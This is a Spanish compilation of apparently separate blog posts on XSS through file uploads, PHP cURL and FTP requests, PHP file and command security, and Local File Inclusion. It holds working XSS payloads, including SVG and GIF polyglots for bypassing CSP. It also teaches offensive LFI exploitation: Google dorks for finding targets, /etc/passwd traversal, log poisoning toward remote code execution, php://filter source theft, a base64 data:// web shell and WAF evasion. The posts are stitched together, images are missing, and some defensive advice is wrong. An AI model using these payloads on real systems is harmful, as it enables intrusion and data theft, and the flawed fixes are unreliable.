XSS al subir archivos

Un input para cargar archivos es una gran oportunidad para realizar ataques XSS. El área restringida de un usuario como cargar una imagen de perfil es una gran oportunidad, y nos brinda el poder realizar este ataque por fallo del programador. Básicamente podríamos tener los siguientes ataques.

1) Cambiar el nombre del archivo

El nombre del archivo en si puede estar reflejado o persistente en una pagina, por lo cual se trata solamente de nombrar el archivo.

"><img src=X onerror="alert(document.domain)">.png

Es recomendable utilizar un sistema linux para este tipo de ataques.

Pueden probar con w3schools ya que es vulnerable a este ataque: https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_fileupload_value


2) Metadatos

Usando exiftool es posible alterar los metadatos que puedan llevar una ataque xss reflejado en alguna parte.

Syntax:  exiftool [OPTIONS] FILE

Ejemplo: exiftool -make='<script>alert(/xss/)</script>' FILE

3) Contenido

Si la aplicación le permite la carga de un archivo SVG (que también es un tipo de imagen), se puede usar un archivo con el siguiente contenido para ejecutar un XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>


4) Fuente

Es fácil crear una imagen GIF que lleve un payload javascript para utilizarlo como fuente en algún script. Esto es útil para eludir el CSP (La cabecera de política de seguridad de contenido) "script src 'self'" (que no permite <script>alert(1)</script> por ejemplo), si podemos inyectar con éxito en el mismo dominio, como se muestra a continuación.

Para crear una imagen de este tipo simplemente utilícela como contenido y guárdela con la extensión .gif

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;


La firma de un archivo GIF, GIF89a se usa como una variable de javascript asignada a la función de alerta. Sin embargo, entre ellos hay un vector XSS comentado en caso de que la imagen se pueda recuperar como un MIME de texto/HTML, permitiendo así la ejecución de un payload simplemente solicitando el archivo.

Como también podemos ver a continuación, el comando similar al de UNIX junto a las funciones de PHP exif_imagetype() y getimagesize() lo reconocen como un archivo GIF. Por lo tanto, si una aplicación esta usando solo esto para validar la imagen, el archivo se cargara (pero puede desinfectarse mas adelante).

Para mas tipos de archivos que tienen su propia firma para la asignación de un javascript puede verificar esto: https://en.wikipedia.org/wiki/List_of_file_signatures

Hay ejemplo mas elaborados que usan archivos de imagen, generalmente omitiendo filtros como los de la biblioteca GD. Un ejemplo:
https://github.com/d0lph1n98/Defeating-PHP-GD-imagecreatefromgif

Traducido por Arthusu
Entrada creada en Brute Logic: https://brutelogic.com.br/blog/file-upload-xss/

[Parte 4] CURL en PHP

Cabecera post personalizada a un host remoto 

Esto sucede cuando solo podemos ver ciertas partes de un sitio web, el sitio necesita unas cabeceras especiales, que tendriamos que olfatear con algun intermediario tal como puede ser: Live HTTP HEADERS, HTTPFox, Burp Suite, Tamper Data...

En este ejemplo estoy olfateando las cabeceras HTTP usando de intermediario HTTPFox (Complemento de firefox).

En este caso nosotros usaremos la opcion CURLOPT_HTTPHEADER.

CURLOPT_HTTPHEADER - Un array de campos a configurar para el Header HTTP, en el formato: array('Content-Type: text/plain','Content-length: 100');

CURLOPT_HEADER - TRUE para incluir el header en el OUTPUT.

 <?php

 $url = "https://tuhost.com/";
 $referer = "https://tuhost.com";

 $ch = curl_init(); // iniciamos curl
 curl_setopt($ch, CURLOPT_URL, $url); // establecemos la url
 curl_setopt($ch, CURLOPT_VERBOSE, 1); // muestra como pasa todo
 curl_setopt($ch, CURLOPT_HEADER, 1); // muestra las cabeceras que el servidor nos devuelve
 curl_setopt($ch, CURLOPT_STDERR, fopen('log_curl.txt','a+')); // en este archivo se guarda lo de verbose
 curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/plain')); //modificamos nuestra cabecera
 curl_setopt($ch, CURLOPT_REFERER, $referer); // ponemos desde donde venimos
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // devolvemos el contenido de la pagina
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // quitamos la verificacion del certificado
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // seguimos cualquier redireccion
 curl_setopt($ch, CURLOPT_COOKIEFILE, fopen('cookies.txt','a+')); // le decimos donde van las cookies
 curl_setopt($ch, CURLOPT_COOKIEJAR, fopen('cookies.txt','a+')); // le decimos que escriba las cookies aqui

 $result = curl_exec($ch); // ejecutamos y guardamos
 
  curl_close($ch); // cerramos curl, liberamos memoria

 print $result; // mostramos el resultado

?>

Subir un archivo a un sitio remoto usando un formulario HTML

Tu debes usar un formulario utilizando el metodo POST pero con algunos cambios. En este ejemplo, donde el formulario contiene enctype='multipart/form-data'. Usamos el array superglobal $_FILE para leer el archivo y pasarlo por los campos post con el signo @. Tal como lo siguiente:

 curl_setopt($ch, CURLOPT_POSTFIELDS, array("$field_name"=>"@".$_FILES['file']['tmp_name']));

En este ejemplo les muestro como subimos un archivo remotamente a la pagina xup.in:

 <?php
   set_time_limit(0);
   $url = "http://www0.xup.in/exec/xupload.php?uid=&key=";
   $user_agent = "Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0";
   $referer = "http://www.xup.in/";
   $directory=dirname(__FILE__).'\files/';
   if(isset($_FILES['f1'])){
      move_uploaded_file($_FILES['f1']['tmp_name'],"files/".$_FILES['f1']['name']);
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
      curl_setopt($ch, CURLOPT_REFERER, $referer);
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_POSTFIELDS, array("F1"=>"@".$directory.$_FILES['f1']['name']));
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      $result = curl_exec($ch);
      if(curl_errno($ch))
  {
      echo 'Curl error: ' . curl_error($ch);
  }
      curl_close($ch);
      unlink($directory.$_FILES['f1']['name']);
      //echo $result;
      preg_match_all('/<input type="text" name="t1" size="90" class="inp" value="(.*?)" onclick="highlight\(this\);" \/>/', $result, $matches);
      //echo '<p><img src="'.$matches[1][0].'" alt="img" /></p>';
      echo '<p><b>Link: <a href="'.$matches[1][0].'" target="_blank">Archive Link</a></p>';
      //print_r($matches);
   }else{
      echo '
         <form action="upload_curl.php" method="post" enctype="multipart/form-data">
            <label for="f1">Filename:</label>
            <input type="file" name="f1" id="f1"><br>
            <input type="submit" name="submit" value="Submit">
         </form>

      ';   
   }
?>

En este caso tenemos un uploader y una carpeta llamada files/ en la cual se sube el fihcero luego envia una peticion subiendo el fichero y por ultimo nos envia el enlace, una cosa importante aqui es que agregamos la funcion curl_error($ch) que nos muestra si ocurre un error en cURL. Con la funcion curl_errno($ch) nos arroja un numero el cual tiene un mensaje especifico de error.

Nota: Recuerda que siempre que hago referencia a $ch es por que ahi se almacena la sesion de cURL.

Subir un archivo por FTP

Tu tienes la opcion en cURL de usar todos los comandos FTP. Por ejemplo, si quieres subir un archivo:

 <?php
if(isset($_POST['enviar'])){
    $ftp_user = "tuusuario";
    $ftp_pass = "tucontraseña";
    $url = "tuurloipdetuweb";
    $ftp_server = "ftp://". $ftp_user . ":" . $ftp_pass . "@" . $url;
    $archivo_a_subir = realpath($_FILES['userfile']['tmp_name']);
    $tamaño_del_archivo = filesize($archivo_a_subir);
    $fp = fopen($archivo_a_subir, 'rb');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ftp_server . $_FILES['userfile']['name']);
    curl_setopt($ch, CURLOPT_VERBOSE, 1);
    curl_setopt($ch, CURLOPT_UPLOAD, 1);
    curl_setopt($ch, CURLOPT_INFILE, $fp);
    curl_setopt($ch, CURLOPT_INFILESIZE, $tamaño_del_archivo);
    if(curl_errno($ch)){
        echo "Ha ocurrido un error: " . curl_error($ch);
    }
    $result = curl_exec($ch);
    curl_close($ch);
    echo "Archivo subido correctamente<br />";
    print $result;
}else{
    echo '
        <form action="" method="post" enctype="multipart/form-data">
            <p><input type="file" name="userfile" /></p>
            <p><input type="submit" name="enviar" value="Subir!" /></p>
        </form>
    ';
}
?>

CURLOPT_INFILE - El fichero que el proceso de transferencia debe leer a la hora de subir el archivo.

CURLOPT_INFILESIZE - El tamaño esperado en bytes, del fichero cuando se esta subiendo un fichero al sitio remoto. Tenganse en cuenta que el uso de esta opcion no detendra a libcurl a la hora de enviar mas datos, exactamente lo que se envia depende de CURLOPT_READFUNCTION.

Eliminar un archivo y mostrarlos por FTP

Tu tienes la opcion de usar comandos FTP con cURL. Alguna lista de comandos puedes encontrarla en: http://en.wikipedia.org/wiki/List_of_FTP_commands

Veamos un ejemplo de Eliminar un archivo y como mostrar los archivos tambien de una carpeta.

 <!DOCTYPE html>
<html>
<head>
 <title>ELIMINAR ARCHIVOS FTP</title>
 <meta charset="utf8">
</head>
<body>
<h1>Eliminar archivo</h1>
<form action="" method="post">
 <p><b>Nombre de la carpeta: </b><input type="text" name="carpeta" placeholder="tucarpeta/" /><small>No es necesario especificarla</small></p>
 <p><b>Nombre del archivo: </b><input type="text" name="archivo" placeholder="archivo.jpg" /></p>
 <input type="submit" name="enviar" />
</form>
<h1>Mostrar archivos de la carpeta</h1>
<form action="" method="post">
 <p><b>Nombre de la carpeta: </b><input type="text" name="directorio" placeholder="tucarpeta/" /><small>Es necesario especificarla para mostrar el contenido del directorio</small></p>
 <input type="submit" name="enviar2" />
</form>
<?php
 /* Variables para el FTP */
 $ftp_user = "tuusuario";
    $ftp_pass = "tucontraseña";
    $url = "tuhost.com/";

    $ftp_server = "ftp://". $ftp_user . ":" . $ftp_pass . "@" . $url;

    /* Funcion para eliminar el archivo */
    if(isset($_POST['enviar'])){
    function delete($carpeta = null , $archivo){
     global $ftp_user, $ftp_pass, $url, $ftp_server;
  if($carpeta == null){
   $carpeta = "public_html/";
  }
  $postfields[] = "CWD ". $carpeta;
  $postfields[] = "DELE " . $archivo;

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $ftp_server);
  curl_setopt($ch, CURLOPT_POSTQUOTE, $postfields);
  $result = curl_exec($ch);
  if(curl_errno($ch)){
   echo curl_error($ch);
  }
  curl_close($ch);

  print $result;
 }
    $carpeta = $_POST['carpeta'];
    $archivo = $_POST['archivo'];
    delete($carpeta,$archivo);

 }
 /* Listar directorio */
 if(isset($_POST['enviar2'])){
  function listar_dir($directorio){
   global $ftp_user, $ftp_pass;
   $url = "tuhost.com/".$directorio;
   $ftp_server = "ftp://". $ftp_user . ":" . $ftp_pass . "@" . $url;
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $ftp_server);
   curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $output = curl_exec($ch);
   if(curl_errno($ch)){
     echo curl_error($ch);
    }
   curl_close($ch);
   $files = explode("\n", $output);
   print_r($files);
  }
  $directorio = $_POST['directorio'];
  listar_dir($directorio);
 }
?>
</body>
</html>

CURLOPT_POSTQUOTE - Un array de comandos FTP a ejecutar en el servidor despues de que se realice la peticion FTP.

CURLOPT_FTPLISTONLY - TRUE para solo listar nombres de un directorio FTP.

Opciones LibcURL

Podemos ver una lista de opciones sobre la libreria cURL en: http://www.php.net/manual/es/function.curl-setopt.php

Rastrear peticiones

Rastrear las peticiones o ver sus cabeceras, es una manera de saber si estamos haciendo bien algo en cURL, existen muchas herramientas las cuales podemos utilizar como intermediario para poder ver las peticiones, como vimos arriba usabamos HTTP FOX.
Y como comentabamos esta disponible tambien Burp Suite, Live HTTP Headers, Tamper Data, etc.

 
Hasta aqui la parte de este tutorial, nos vemos en la proxima parte que espero sea la ultima :).
 

[Parte 6] Seguridad en PHP

Archivos y comandos

En esta parte veremos los riesgos asociados a los archivos y los comandos de shell, en php existen muchas funciones que se utilizan para el manejo de archivos y comandos de shell, es por eso que en este apartado veremos cuales nos pueden afectar y como podemos solucionarlos.

Atravesando el sistema de archivos

Muchas veces leemos archivos usando fopen() u otras funciones de php, las cuales en lugar de meterlas asi solamente la cadena para que lo lea el archivo, lo leemos usando variables o campos de entrada en la pagina web, de esta manera estamos dando un punto a una vulnerabilidad, un ejemplo de un tipo de codigo asi es el siguiente:

 
Como puedes ver en la imagen hay una variable llamada archivo, con la cual pide el archivo de determinada ruta (/ruta/para) en la cual se encuentran todos los archivos, de manera que si alguien entra a la url de ejemplo:

http://ejemplo.com/index.php?archivo=miarchivo

Se abre el archivo llamado miarchivo.txt y se muestra en la web....

Como mostramos en la parte 5 de seguridad en php donde hablabamos sobre la manipulacion del nombre del archivo y que esta vulnerabilidad tambien era llamada LFI en la cual hay un articulo en este mismo BLOG bien definido, pues en este caso estamos usando otro tipo de funcion pero es casi lo mismo por lo cual tambien podemos evitar el tipo de extension usando un null byte (), siendo nuestro ataque de la siguiente manera:

http://ejemplo.com/index.php?archivo=../etc/passwd

Incluyendose el archivo /etc/passwd correctamente y evitando el tipo de archivo .txt
 
Tal como dijimos en la parte 1 de seguridad en php "nosotros los programadores ponemos las reglas a nuestras aplicaciones"... por lo cual nosotros le podemos decir que solo queremos que en la entrada solo haya caracteres alfanumericos usando la funcion ctype_alpha():

O como lo hicimos en la parte 5 de seguridad en php podemos usar la funcion basename():

Riesgos de archivos remotos

PHP tiene una directiva llamada allow_url_fopen activada por defecto. La cual permite hacer referencia a archivos remotos como si fuesen archivos locales, de esta manera poder mostrarlos en el HTML. 

Usaremos la funcion file_get_contents() la cual transmite un fichero entero a una cadena. 

De esta manera podriamos pedir una shell en un formato .txt que este alojado en nuestro servidor, y al pedirla se incluira el codigo PHP dejandonos ejecutar comandos.

La lista de shell la puedes encontrar en esta web: http://www.r57shell.net/

Este ataque tambien es conocido como Remote File Inclusion (RFI).

Para solucionar este tipo de ataques podemos usar la funcion nativa de php htmlentities() de manera que al mostrar el codigo no lo interprete y solo se vea el codigo fuente en si...

htmlentities() lo que hace es convertir todos los caracteres aplicables a entidades html.

Inyeccion de comandos

Usar comandos del sistema en PHP es peligroso ya que puede ocurrir una vulnerabilidad llamada RCE (Remote Code Execution), la cual nos deja ejecutar comandos de manera remota.

Por ejemplo, podemos usar la funcion exec() la cual ejecuta algun comando del sistema devolviendo la ultima linea solamente, pero podemos almacenar en una matriz como segundo argumento de manera que devolvamos todos los elementos del array como uno solo en la matriz...

Esta forma de usarlo es peligrosa ya que muestra muchos directorios y archivos sensibles, aunque en este caso no usamos ningun campo de entrada si lo usaramos podriamos intentar controlar comandos a conveniencia, es por eso que es mejor escapar este tipo de entradas... de la siguiente manera:

La funcion escapeshellcmd() escapa meta-caracteres del interprete de comandos, con meta-caracteres se hace referencia a caracteres que tienen un significado especial en una consola de comandos.

La funcion escapeshellarg() escapa una cadena a ser usada como argumento del interprete de comandos.

Estas como puedes ver no son las unicas maneras de ejecutar comandos, podemos usar otras funciones nativas de PHP tales como: system(), passthru(), popen(), shell_exec().

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia

Local File Include (LFI)

¿Que es?

Lfi significa local file include y lo que hacemos en este tipo de vulnerabilidad es pedir un archivo local por medio de la url, esto se causa por que muchos programadores no filtran sus codigos, un ejemplo comun puede llegar a ser:

Este codigo lo que hace es mostrar la pagina que incluyamos por ejemplo: menu.php index.php etc...
Sabiendo eso podemos formar un dork, por ejemplo:
inurl: index.php?pagina=menu.php

inurl significa buscar en url lo siguiente ...
puedes usar google como bing o diferentes buscadores muchos arrojan diferentes resultados....

Ahora sabemos que la LFI es causada por no filtrar bien las funciones include() require() require_once() include_once()


Como explotarla

entonces como ejemplo tenemos algo asi:


pagina.com/index.php?pagina=publications.php

con esto muchas veces podemos saber que la variable pagina es vulnerable debido a que esta incluyendo un archivo sin filtrarlo .... que pasa si ponemos lo siguiente:

pagina.com/index.php?pagina=publications.phpASDASDASD

como no es encontrada el archivo requerido arroja un error, muchas veces no lo arroja esto es por que muchos tienen desactivado error reporting pero igual es probable poder inyectar este tipo de vulnerabilidad

bueno siguiendo con el ejemplo anterior nos arrojaria algo asi:

como vemos tenemos dos directorios antes del archivo index.php es decir /homes-www/mercadier si recuerdas en linux puedes hacer cd .. y recorres un directorio atras... pues es lo que haremos escalar directorios para atras....

digamos quiero coger el archivo /etc/passwd de esa web seria: ../../etc/passwd es decir me recorro las dos carpetas despues de index y luego entro a /etc/passwd querdaria asi:

pagina.com/index.php?pagina=../../etc/passwd

esto me mostraria el archivo passwd que contiene los usuarios,ids,grupo,terminales,contraseña

muchas veces la contraseña lo tapa con x entonces para ello sabemos que se encuntran en un archivo llamado shadow que se encuentra en el mismo directorio /etc/shadow muchas veces ese archivo no se puede acceder a el por que es necesario privilegios de usuario como root por ejemplo....

tambien podemos escalar cosas diferentes como son... /proc/cpuinfo que nos ofrece informacion del cpu o los logs de apache para eso hay que ver los directorios puede haber muchos dependiendo del servidor como este instalado por ejemplo en mi caso tengo xampp en localhost seria de esta manera:

http://localhost/php/lfi.php?pagina=/opt/lampp/logs/access_log

Ahora como ves no se encuentra muchas cosas pero estos los son los accesos a las webs, imaginate que en los logs se muestre algo como la cabecera user-agent es decir el navegador entonces podriamos inyectar con un sniffer de http como live https headers o tamper data e infectar los logs por ejemplo, modificar esa cabecera user-agent y poner un codigo php para mostrar un phpinfo() y veriamos en los logs la informacion del php esto seria infectar los logs....tambien se pueden infectar logs por /proc/self/environ pero muchas veces no se muestra... veremos como infectar logs para darnos RCE (remote code execution :D )

Infectando logs por medio de /proc/self/fd

Bueno este es un nuevo agregado a este tutorial que es infectar logs por medio de /proc/self/fd y asi obtener RCE (remote command execution) :D
Para empezar utilizare burp suite por que simplemente me carga mas rapido que el firefox que como son archivos largos puede llegar a colgarse.... empecemos haciendo una peticion del archivo /proc/self/environ a una web vulnerable a LFI...

bueno entonces intentemos con algo como /proc/self/cmdline o /proc/self/stat o /proc/self/status

con cmdline devuelve la linea de comandos si hago una poc(proof of concept) en mi pc sale bash y si hago una poc(proff of concept) en la web sale php con esto sabemos que su cmdline en este caso es el proceso php

stat y status nos devuelve el estado con su pid en el primer caso y en el segundo con size y mas informacion adicional :D

Ahora el /proc/self/fd = Este es un subdirectorio que contiene una entrada para cada archivo que tiene abierto el proceso, nombrada con el descriptor de fichero, y que es un enlace simbólico al archivo real. Por lo tanto, 0 es la entrada estándar, salida estándar 1, 2 error estándar, etc

para mas informacion sobre proc

bueno en este caso queremos encontrar la entrada del archivo del proceso abierto y como no sabemos usaremos bruteforce intentando hasta encontrar el archivo correcto....

Les dejo una wordlist aunque ustedes pueden crear una para esto o para cualquier cosa como blindsqli, bruteforce http etc burp es una gran suite :D

/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35

no enseñare como configurar el burp suite ya que solo es una proxy y la puedes configurar desde el navegador para atrapar la web pero si explicare como hacer para atacar con el wordlist :D

tenemos nuestro Host a vulnerable a LFI y lo mandamos a intruder seria algo asi: Click derecho o action > Send to intruder
en intruder seleccionamos positions y damos un clear$ que seria limpiar y luego agregamos (add$) la ruta a escalar, ejemplo:

luego configuramos el payload agregamos el archivo wordlist desde load... y lo seleccionamos lo tienen arriba solo lo guardan como txt xD, despues de eso en el menu de arriba clickeamos intruder>start attack

buscamos una entrada relacionada con la web que estamos y dice que tenemos un error al pedir el archivo favicon.ico
entonces en repeater hago una peticion a /favicon.ico y pongo una cabecera referer inyectando el codigo malicioso por ejemplo

por ultimo hacemos de nuevo una peticion al archivo donde encontramos esos registros.... /proc/self/fd/numeroqueobtuvistes

Nuestro amigo Psymera comenta algo de un codigo con un path que seria asi:

donde upload seria nuestra carpeta aunque seria lo mismo nos saldria un error con lo cual tendriamos que escalar las carpetas del servidor incluyendo tambien la carpeta upload.... un ejemplo de este error seria:

por lo que solo seria escalar dos carpetas mas despues del FPD (Full path disclousure)  que seria: ../../../../../../etc/passwd y entonces:

Este tipo de webs lo tome de un exploit de un cms que encontro Daniel Godoy...

 tambien podriamos con php://filter hacer un enlace para obtener un recurso por ejemplo obtener el index de una web por medio de un LFI, por ejemplo:

pagina.com/index.php?pagina=php://filter/read=convert.base64-encode/resource=index.php

esto nos mostraria el codigo del archivo index.php convertido a base64 con lo cual solo lo decodificariamos....

y con seguir buscando dentro del codigo podiamos encontrar un require() include() o un SQLI u otras vulnerabilidades, en este caso fue la base de datos :D

Otro ejemplo es usar data:// para obtener datos por medio de cabeceras de content-type por ejemplo seria hacer esto:

pagina.com/index.php?pagina=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==&cmd=ls

ese base64 es un archivo php con una funcion system() pidiendo todo lo que se inque con cmd

por ultimo tambien puedes usar php://input para ingresar una shell en los datos por post pidiendo asi comandos

esa herramienta de arriba es la hackbar puedes descargar un manual en este mismo blog

Incluso por XSPA puedes obtener un lfi:

Evasion de WAF's
Muchas veces los WAF (Web Application Firewall) detectan una ataque LFI respondiendo con otro tipo de codigo de estado que el normal -->200 OK como puede ser 403 Forbidden,501 No implementado,etc
Para ello usamos NULL BYTES que seria algo vacio esta encodeado en urlencode, en este caso no tengo casos de ejemplo pero puedo mostrar como se conformaria este tipo de urls:

pagina.com/lfi.php?pagina=/etc/passwd
Otra manera seria encodear la barra (/) que seria %2F
pagina.com/lfi.php?pagina=%2Fetc%2Fpasswd

bueno estas solo son dos si saben mas avisen y agrego, para estos casos es solo imaginar como evadir el firewall de una aplicacion web

Como evitar un ataque LFI

podriamos usar condicionales en el codigo.... en este caso un switch dependiendo del numero de pagina incluidas y por defecto incluir una pagina si se pide otra cosa....

Correciones

Bueno antes que nada me he equivocado en algunas partes y quiero compartilas y agradecer a Dedalo, Psymera ,Q3rv0 si alguien encuentra otro error en el tuto diganme y le hago un edit o si se saben otro metodo aparte de este tambien diganlo y le agregamos ....

Correcion 1: En el codigo de solucion tenia un include todavia en ves del switch <-- corregido
Correcion 2: Para el Wrapper php://input es necesario tener activado allow_url_include = On esto se puede modificar desde php.ini o .htaccess
Correcion 3: Para el Wrapper data:// es necesario tener activado allow_url_include y allow_url_fopen por lo que no serviria en este caso de LFI sino seria para RFI
Correcion 4: El codigo que comenta Psymera que es para RFI pero tambien viene en muchos LFI por lo que solamente incluire un pequeño ejemplo de lo que el comenta en el tuto


Bueno he terminado espero que les haya gustado he mostrado algunos metodos con los que pudiesen obtener datos importantes o obtener incluso una shell... salu2